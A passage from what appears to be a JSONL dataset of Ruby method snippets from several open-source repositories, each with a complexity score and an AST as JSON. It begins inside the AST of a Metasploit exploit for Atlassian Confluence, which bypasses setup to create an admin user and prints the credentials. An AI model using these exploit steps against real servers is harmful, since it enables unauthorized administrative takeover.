,\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Version vulnerable but setup is already completed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Found server-info.action! Trying to ignore setup.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_user\",{\"type\":\"send\",\"children\":[null,\"create_admin_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"setup/finishsetup.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Atlassian-Token\"]},{\"type\":\"str\",\"children\":[\"no-check\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"The admin user could not be created. Try a different username.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Admin user was created but setup could not be completed.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Confluence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin user was created successfully. Credentials: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Now you can login as administrator from: http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]},{\"type\":\"str\",\"children\":[\"login.action\"]}]}]}]}]}","id":"9195e23a-ab60-4fa2-925d-8d8a21c01de9"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/strong_parameters.rb","start_line":1072,"raw_source":"def init_with(coder) # :nodoc:\n case coder.tag\n when \"!ruby/hash:ActionController::Parameters\"\n # YAML 2.0.8's format where hash instance variables weren't stored.\n @parameters = coder.map.with_indifferent_access\n @permitted = false\n when \"!ruby/hash-with-ivars:ActionController::Parameters\"\n # YAML 2.0.9's Hash subclass format where keys and values were stored under an\n # elements hash and `permitted` within an ivars hash.\n @parameters = coder.map[\"elements\"].with_indifferent_access\n @permitted = coder.map[\"ivars\"][:@permitted]\n when \"!ruby/object:ActionController::Parameters\"\n # YAML's Object format. Only needed because of the format backwards\n # compatibility above, otherwise equivalent to YAML's initialization.\n @parameters, @permitted = coder.map[\"parameters\"], coder.map[\"permitted\"]\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"init_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"tag\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/hash:ActionController::Parameters\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/hash-with-ivars:ActionController::Parameters\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"elements\"]}]},\"with_indifferent_access\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ivars\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"@permitted\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!ruby/object:ActionController::Parameters\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameters\"]},{\"type\":\"ivasgn\",\"children\":[\"@permitted\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"permitted\"]}]}]}]}]},null]}]}","id":"a37fcd25-a59a-4eb9-b8a2-7b7bd233a44e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/config_resolver.rb","start_line":69,"raw_source":"def make_jobs(config_jobs)\n config_jobs.map do |job|\n {\n name: job[:name],\n stage: job[:stage],\n group_name: CommitStatus.new(name: job[:name]).group_name,\n needs: job[:needs] || [],\n allow_failure: job[:allow_failure],\n before_script: job[:before_script],\n script: job[:script],\n after_script: job[:after_script],\n only: job[:only],\n except: job[:except],\n when: job[:when],\n tags: job[:tag_list],\n environment: job[:environment]\n }\n end\n end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"make_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_jobs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_jobs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CommitStatus\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},\"group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"needs\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_failure\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"when\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_list\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]}]}]}]}","id":"a512c0d6-9db2-4e21-aadc-d955a196f40f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/defaults_test.rb","start_line":256,"raw_source":"def test_mysql_not_null_defaults_non_strict\n using_strict(false) do\n with_mysql_not_null_table do |klass|\n record = klass.new\n assert_nil record.non_null_integer\n assert_nil record.non_null_string\n assert_nil record.non_null_text\n assert_nil record.non_null_blob\n\n record.save!\n record.reload\n\n assert_equal 0, record.non_null_integer\n assert_equal \"\", record.non_null_string\n assert_equal \"\", record.non_null_text\n assert_equal \"\", record.non_null_blob\n end\n end\n end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mysql_not_null_defaults_non_strict\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_strict\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_mysql_not_null_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_integer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_integer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"non_null_blob\"]}]}]}]}]}]}","id":"62b52100-d68c-43bc-9560-ad385c14aba8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/redis/redis_shared_examples.rb","start_line":676,"raw_source":"def clear_params\n described_class.remove_instance_variable(:@params)\n described_class.config_fallback&.remove_instance_variable(:@params)\n rescue NameError\n # raised if @params was not set; ignore\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"remove_instance_variable\",{\"type\":\"sym\",\"children\":[\"@params\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"config_fallback\"]},\"remove_instance_variable\",{\"type\":\"sym\",\"children\":[\"@params\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,null]},null]}]}","id":"c6472e1d-ab8b-4597-ae69-2662316cb881"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/trips/calculate_path_job.rb","start_line":6,"raw_source":"def perform(trip_id)\n trip = Trip.find(trip_id)\n\n trip.calculate_path\n trip.save!\n\n broadcast_update(trip)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trip_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trip\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"trip_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trip\"]},\"calculate_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trip\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"broadcast_update\",{\"type\":\"lvar\",\"children\":[\"trip\"]}]}]}]}","id":"0310f805-6301-4a04-9891-394da207dd76"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":85,"raw_source":"def test_actions_are_turned_into_methods\n run_generator\n\n assert_file \"app/controllers/account_controller.rb\" do |controller|\n assert_instance_method :foo, controller\n assert_instance_method :bar, controller\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_actions_are_turned_into_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/account_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]}]}]}","id":"2a5599cd-ac4a-49c4-966f-c4d91cf55f52"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/enum_names.rb","start_line":65,"raw_source":"def check_class_name(const_node)\n return unless const_node&.const_name\n return if const_node.const_name.end_with?('Enum')\n\n add_offense(const_node, message: CLASS_NAME_SUFFIX_MSG)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_class_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"const_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const_node\"]},\"const_name\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const_node\"]},\"const_name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"Enum\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"const_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"CLASS_NAME_SUFFIX_MSG\"]}]}]}]}]}]}","id":"e4ba516e-6fab-44fc-86db-a1dd2450ab2e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/layouts/crud_component.rb","start_line":48,"raw_source":"def id\n @title.downcase.strip.gsub(\" \", \"-\").gsub(/[^\\w-]/, \"\") # rubocop:disable Performance/StringReplacement -- Not possible with tr\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@title\"]},\"downcase\"]},\"strip\"]},\"gsub\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"str\",\"children\":[\"-\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\w-]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"a968119d-d106-48aa-8ec1-149114669467"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":552,"raw_source":"def log_show_emails(users, opts = {})\n return if users.blank?\n UserHistory.create!(\n params(opts).merge(\n action: UserHistory.actions[:check_email],\n details: users.map { |u| \"[#{u.id}] #{u.username}\" }.join(\"\\n\"),\n ),\n )\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_show_emails\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"check_email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"username\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}]}","id":"92a3db78-d9b9-4c7f-b7ac-935c4506d734"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/mssqli/common.rb","start_line":241,"raw_source":"def check_opts(opts)\n unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]\n raise ArgumentError, 'Unsupported encoder'\n end\n\n super\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_opts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"downcase\"]},\"intern\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Unsupported encoder\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"581b9df6-8da5-4245-be74-683b6d2a27a6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/nuget/presenter_helpers.rb","start_line":28,"raw_source":"def archive_url_for(package)\n package_filename = package.installable_nuget_package_files\n .last\n &.file_name\n path = api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path(\n {\n id: package.project_id,\n package_name: package.name,\n package_version: package.version,\n package_filename: package_filename\n },\n true\n )\n\n expose_url(path)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"archive_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_filename\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"installable_nuget_package_files\"]},\"last\"]},\"file_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_filename\"]},{\"type\":\"lvar\",\"children\":[\"package_filename\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"expose_url\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"2c6fd82c-032c-4d1e-a9c1-522f8ef84945"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/exceed_query_limit.rb","start_line":174,"raw_source":"def diff_query_counts(expected, actual)\n QueryDiff.new(expected, actual, @show_common_queries).diff\n 